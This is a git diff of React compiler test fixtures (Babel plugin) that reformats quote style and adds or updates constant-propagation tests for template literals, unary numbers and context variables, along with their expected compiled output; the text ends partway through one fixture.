diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.js
index 967d48c20949..6f984c4c77a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-bit-ops.js
@@ -1,4 +1,4 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.expect.md
index b5f52fef5ddd..b6017e4cb224 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-for.expect.md
@@ -26,6 +26,7 @@ function foo() {
   for (const x = 100; false; 100) {
     y = y + 1;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.expect.md
index 8ea219048000..503ee6d71681 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.expect.md
@@ -2,35 +2,55 @@
 ## Input
 
 ```javascript
+import {Stringify, identity} from 'shared-runtime';
+
 function Component(props) {
   const x = 42;
   const onEvent = () => {
-    console.log(x);
+    return identity(x);
   };
-  return <Foo onEvent={onEvent} />;
+  return <Stringify onEvent={onEvent} shouldInvokeFns={true} />;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { Stringify, identity } from "shared-runtime";
+
 function Component(props) {
   const $ = _c(1);
+
+  const onEvent = _temp;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const onEvent = () => {
-      console.log(42);
-    };
-
-    t0 = <Foo onEvent={onEvent} />;
+    t0 = <Stringify onEvent={onEvent} shouldInvokeFns={true} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
   return t0;
 }
+function _temp() {
+  return identity(42);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>{"onEvent":{"kind":"Function","result":42},"shouldInvokeFns":true}</div>
+<div>{"onEvent":{"kind":"Function","result":42},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.js
index c98bd9b67005..d1df503ad973 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-into-function-expressions.js
@@ -1,7 +1,15 @@
+import {Stringify, identity} from 'shared-runtime';
+
 function Component(props) {
   const x = 42;
   const onEvent = () => {
-    console.log(x);
+    return identity(x);
   };
-  return <Foo onEvent={onEvent} />;
+  return <Stringify onEvent={onEvent} shouldInvokeFns={true} />;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.expect.md
index 26a86e3b3613..16786daf2b1f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.expect.md
@@ -18,8 +18,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -30,6 +30,7 @@ export const FIXTURE_ENTRYPOINT = {
 function foo(a, b, c) {
   if (a) {
   }
+
   return b;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.js
index 869c7a1c2ee1..1e2bee69ad29 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-phi.js
@@ -14,6 +14,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.expect.md
index 963d380ef372..8174bd0364e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.expect.md
@@ -3,8 +3,8 @@
 
 ```javascript
 function foo() {
-  const a = "a" + "b";
-  const c = "c";
+  const a = 'a' + 'b';
+  const c = 'c';
   return a + c;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.js
index 052b22359754..d8c19b6a24ed 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-string-concat.js
@@ -1,6 +1,6 @@
 function foo() {
-  const a = "a" + "b";
-  const c = "c";
+  const a = 'a' + 'b';
+  const c = 'c';
   return a + c;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.expect.md
new file mode 100644
index 000000000000..06a7ee3a37f0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.expect.md
@@ -0,0 +1,136 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
+import {Stringify, identity} from 'shared-runtime';
+
+function foo() {
+  try {
+    identity(`${Symbol('0')}`); // Uncaught TypeError: Cannot convert a Symbol value to a string (leave as is)
+  } catch {}
+
+  return (
+    <Stringify
+      value={[
+        `` === '',
+        `\n` === '\n',
+        `a\nb`,
+        `\n`,
+        `a${1}b`,
+        ` abc \u0041\n\u000a\ŧ`,
+        `abc${1}def`,
+        `abc${1}def${2}`,
+        `abc${1}def${2}ghi`,
+        `a${1 + 3}b${``}c${'d' + `e${2 + 4}f`}`,
+        `1${2}${Math.sin(0)}`,
+        `${NaN}`,
+        `${Infinity}`,
+        `${-Infinity}`,
+        `${Number.MAX_SAFE_INTEGER}`,
+        `${Number.MIN_SAFE_INTEGER}`,
+        `${Number.MAX_VALUE}`,
+        `${Number.MIN_VALUE}`,
+        `${-0}`,
+        `
+        `,
+        `${{}}`,
+        `${[1, 2, 3]}`,
+        `${true}`,
+        `${false}`,
+        `${null}`,
+        `${undefined}`,
+        `123456789${0}`,
+        `${0}123456789`,
+        `${0}123456789${0}`,
+        `${0}1234${5}6789${0}`,
+        `${0}1234${`${0}123456789${`${0}123456789${0}`}`}6789${0}`,
+        `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,
+        `${`${`${`${0}`}`}`}`,
+        `${`${`${`${''}`}`}`}`,
+        `${`${`${`${identity('')}`}`}`}`,
+      ]}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
+import { Stringify, identity } from "shared-runtime";
+
+function foo() {
+  const $ = _c(1);
+  try {
+    identity(`${Symbol("0")}`);
+  } catch {}
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <Stringify
+        value={[
+          true,
+          true,
+          "a\nb",
+          "\n",
+          "a1b",
+          " abc A\n\n\u0167",
+          "abc1def",
+          "abc1def2",
+          "abc1def2ghi",
+          "a4bcde6f",
+          `1${2}${Math.sin(0)}`,
+          `${NaN}`,
+          `${Infinity}`,
+          `${-Infinity}`,
+          `${Number.MAX_SAFE_INTEGER}`,
+          `${Number.MIN_SAFE_INTEGER}`,
+          `${Number.MAX_VALUE}`,
+          `${Number.MIN_VALUE}`,
+          "0",
+          "\n        ",
+
+          `${{}}`,
+          `${[1, 2, 3]}`,
+          "true",
+          "false",
+          "null",
+          `${undefined}`,
+          "1234567890",
+          "0123456789",
+          "01234567890",
+          "01234567890",
+          "0123401234567890123456789067890",
+          `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,
+          "0",
+          "",
+          `${`${`${`${identity("")}`}`}`}`,
+        ]}
+      />
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":[true,true,"a\nb","\n","a1b"," abc A\n\nŧ","abc1def","abc1def2","abc1def2ghi","a4bcde6f","120","NaN","Infinity","-Infinity","9007199254740991","-9007199254740991","1.7976931348623157e+308","5e-324","0","\n        ","[object Object]","1,2,3","true","false","null","undefined","1234567890","0123456789","01234567890","01234567890","0123401234567890123456789067890","012340123456789067890","0","",""]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.js
new file mode 100644
index 000000000000..199284b8caa9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-template-literal.js
@@ -0,0 +1,57 @@
+// @enablePreserveExistingMemoizationGuarantees:false
+import {Stringify, identity} from 'shared-runtime';
+
+function foo() {
+  try {
+    identity(`${Symbol('0')}`); // Uncaught TypeError: Cannot convert a Symbol value to a string (leave as is)
+  } catch {}
+
+  return (
+    <Stringify
+      value={[
+        `` === '',
+        `\n` === '\n',
+        `a\nb`,
+        `\n`,
+        `a${1}b`,
+        ` abc \u0041\n\u000a\ŧ`,
+        `abc${1}def`,
+        `abc${1}def${2}`,
+        `abc${1}def${2}ghi`,
+        `a${1 + 3}b${``}c${'d' + `e${2 + 4}f`}`,
+        `1${2}${Math.sin(0)}`,
+        `${NaN}`,
+        `${Infinity}`,
+        `${-Infinity}`,
+        `${Number.MAX_SAFE_INTEGER}`,
+        `${Number.MIN_SAFE_INTEGER}`,
+        `${Number.MAX_VALUE}`,
+        `${Number.MIN_VALUE}`,
+        `${-0}`,
+        `
+        `,
+        `${{}}`,
+        `${[1, 2, 3]}`,
+        `${true}`,
+        `${false}`,
+        `${null}`,
+        `${undefined}`,
+        `123456789${0}`,
+        `${0}123456789`,
+        `${0}123456789${0}`,
+        `${0}1234${5}6789${0}`,
+        `${0}1234${`${0}123456789${`${0}123456789${0}`}`}6789${0}`,
+        `${0}1234${`${0}123456789${`${identity(0)}`}`}6789${0}`,
+        `${`${`${`${0}`}`}`}`,
+        `${`${`${`${''}`}`}`}`,
+        `${`${`${`${identity('')}`}`}`}`,
+      ]}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.expect.md
new file mode 100644
index 000000000000..b52ea1b51b4b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function foo() {
+  const a = -1;
+  return (
+    <Stringify
+      value={[
+        2 * a,
+        -0,
+        0 === -0,
+        -Infinity,
+        -NaN,
+        a * NaN,
+        a * Infinity,
+        a * -Infinity,
+      ]}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function foo() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <Stringify
+        value={[
+          -2,
+          0,
+          true,
+          -Infinity,
+          -NaN,
+          -1 * NaN,
+          -1 * Infinity,
+          -1 * -Infinity,
+        ]}
+      />
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":[-2,0,true,null,null,null,null,null]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.js
new file mode 100644
index 000000000000..8ef8ec0e6c79
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary-number.js
@@ -0,0 +1,25 @@
+import {Stringify} from 'shared-runtime';
+
+function foo() {
+  const a = -1;
+  return (
+    <Stringify
+      value={[
+        2 * a,
+        -0,
+        0 === -0,
+        -Infinity,
+        -NaN,
+        a * NaN,
+        a * Infinity,
+        a * -Infinity,
+      ]}
+    />
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: foo,
+  params: [],
+  isComponent: false,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.expect.md
index 50b1a10a24d3..aaea767643b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.expect.md
@@ -2,15 +2,15 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   let _b;
   const b = true;
   if (!b) {
-    _b = "bar";
+    _b = 'bar';
   } else {
-    _b = "baz";
+    _b = 'baz';
   }
 
   return (
@@ -22,9 +22,9 @@ function foo() {
         n1: !1,
         n2: !2,
         n3: !-1,
-        s0: !"",
-        s1: !"a",
-        s2: !"ab",
+        s0: !'',
+        s1: !'a',
+        s2: !'ab',
         u: !undefined,
         n: !null,
       }}
@@ -58,7 +58,7 @@ function foo() {
           n0: true,
           n1: false,
           n2: false,
-          n3: !-1,
+          n3: false,
           s0: true,
           s1: false,
           s2: false,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.js
index f952bb1c2def..e78c1bceba53 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-unary.js
@@ -1,12 +1,12 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
 function foo() {
   let _b;
   const b = true;
   if (!b) {
-    _b = "bar";
+    _b = 'bar';
   } else {
-    _b = "baz";
+    _b = 'baz';
   }
 
   return (
@@ -18,9 +18,9 @@ function foo() {
         n1: !1,
         n2: !2,
         n3: !-1,
-        s0: !"",
-        s1: !"a",
-        s2: !"ab",
+        s0: !'',
+        s1: !'a',
+        s2: !'ab',
         u: !undefined,
         n: !null,
       }}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.expect.md
index 452af75834fc..deb51f9554f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation-while.expect.md
@@ -27,6 +27,7 @@ function foo() {
   while (false) {
     y = y + 1;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.expect.md
index 929bee141892..8b26b4601ac0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.expect.md
@@ -12,7 +12,7 @@ function foo() {
   const g = f - e;
 
   if (g) {
-    console.log("foo");
+    console.log('foo');
   }
 
   const h = g;
@@ -34,6 +34,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function foo() {
   console.log("foo");
+
   return -6;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.js
index 9c4ee802026a..044e82d19ec6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/constant-propagation.js
@@ -8,7 +8,7 @@ function foo() {
   const g = f - e;
 
   if (g) {
-    console.log("foo");
+    console.log('foo');
   }
 
   const h = g;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.expect.md
index 63eb68adce73..636bc53a172e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.expect.md
@@ -2,22 +2,23 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let Component = Stringify;
 
   Component = useMemo(() => {
     return Component;
-  });
+  }, [Component]);
 
   return <Component {...props} />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
 
 ```
@@ -25,7 +26,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
 import { useMemo } from "react";
 import { Stringify } from "shared-runtime";
 
@@ -36,9 +37,7 @@ function Component(props) {
     Component = Stringify;
 
     Component;
-    let t0;
-    t0 = Component;
-    Component = t0;
+    Component = Component;
     $[0] = Component;
   } else {
     Component = $[0];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.js
index 7abf87ea0f73..49cf3364b1c4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-as-jsx-element-tag.js
@@ -1,17 +1,18 @@
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component(props) {
   let Component = Stringify;
 
   Component = useMemo(() => {
     return Component;
-  });
+  }, [Component]);
 
   return <Component {...props} />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.expect.md
deleted file mode 100644
index 23fc7eaa8c4c..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.expect.md
+++ /dev/null
@@ -1,65 +0,0 @@
-
-## Input
-
-```javascript
-import { identity, invoke } from "shared-runtime";
-
-function foo() {
-  let x = 2;
-  const fn1 = () => {
-    const copy1 = (x = 3);
-    return identity(copy1);
-  };
-  const fn2 = () => {
-    const copy2 = (x = 4);
-    return [invoke(fn1), copy2, identity(copy2)];
-  };
-  return invoke(fn2);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: [],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime";
-import { identity, invoke } from "shared-runtime";
-
-function foo() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    let x;
-    x = 2;
-    const fn1 = () => {
-      const copy1 = (x = 3);
-      return identity(copy1);
-    };
-
-    const fn2 = () => {
-      const copy2 = (x = 4);
-      return [invoke(fn1), copy2, identity(copy2)];
-    };
-
-    t0 = invoke(fn2);
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: [],
-};
-
-```
-      
-### Eval output
-(kind: ok) [3,4,4]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.js
deleted file mode 100644
index adff996ce295..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-only-chained-assign.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import { identity, invoke } from "shared-runtime";
-
-function foo() {
-  let x = 2;
-  const fn1 = () => {
-    const copy1 = (x = 3);
-    return identity(copy1);
-  };
-  const fn2 = () => {
-    const copy2 = (x = 4);
-    return [invoke(fn1), copy2, identity(copy2)];
-  };
-  return invoke(fn2);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: [],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.expect.md
index 8e7c1a874c8f..1e3498217230 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ shouldReassign }) {
+function Component({shouldReassign}) {
   let x = null;
   const reassign = () => {
     if (shouldReassign) {
@@ -17,8 +17,8 @@ function Component({ shouldReassign }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ shouldReassign: true }],
-  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],
+  params: [{shouldReassign: true}],
+  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.js
index 7eb0235d8d59..a2d103f61e57 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-explicit-control-flow.js
@@ -1,6 +1,6 @@
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ shouldReassign }) {
+function Component({shouldReassign}) {
   let x = null;
   const reassign = () => {
     if (shouldReassign) {
@@ -13,6 +13,6 @@ function Component({ shouldReassign }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ shouldReassign: true }],
-  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],
+  params: [{shouldReassign: true}],
+  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.expect.md
index 9ecebdc7a618..8f5da8487667 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { conditionalInvoke } from "shared-runtime";
+import {conditionalInvoke} from 'shared-runtime';
 
 // same as context-variable-reactive-explicit-control-flow.js, but make
 // the control flow implicit
 
-function Component({ shouldReassign }) {
+function Component({shouldReassign}) {
   let x = null;
   const reassign = () => {
     x = 2;
@@ -18,8 +18,8 @@ function Component({ shouldReassign }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ shouldReassign: true }],
-  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],
+  params: [{shouldReassign: true}],
+  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.js
index 9359315ad5b8..1bf1c81ca34b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reactive-implicit-control-flow.js
@@ -1,9 +1,9 @@
-import { conditionalInvoke } from "shared-runtime";
+import {conditionalInvoke} from 'shared-runtime';
 
 // same as context-variable-reactive-explicit-control-flow.js, but make
 // the control flow implicit
 
-function Component({ shouldReassign }) {
+function Component({shouldReassign}) {
   let x = null;
   const reassign = () => {
     x = 2;
@@ -14,6 +14,6 @@ function Component({ shouldReassign }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ shouldReassign: true }],
-  sequentialRenders: [{ shouldReassign: false }, { shouldReassign: true }],
+  params: [{shouldReassign: true}],
+  sequentialRenders: [{shouldReassign: false}, {shouldReassign: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.expect.md
index f660b4e59098..cdd0269d5cf4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/context-variable-reassigned-objectmethod.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { invoke } from "shared-runtime";
+import {invoke} from 'shared-runtime';
 
-function Component({ cond }) {
+function Component({cond}) {
   let x = 2;
   const obj = {
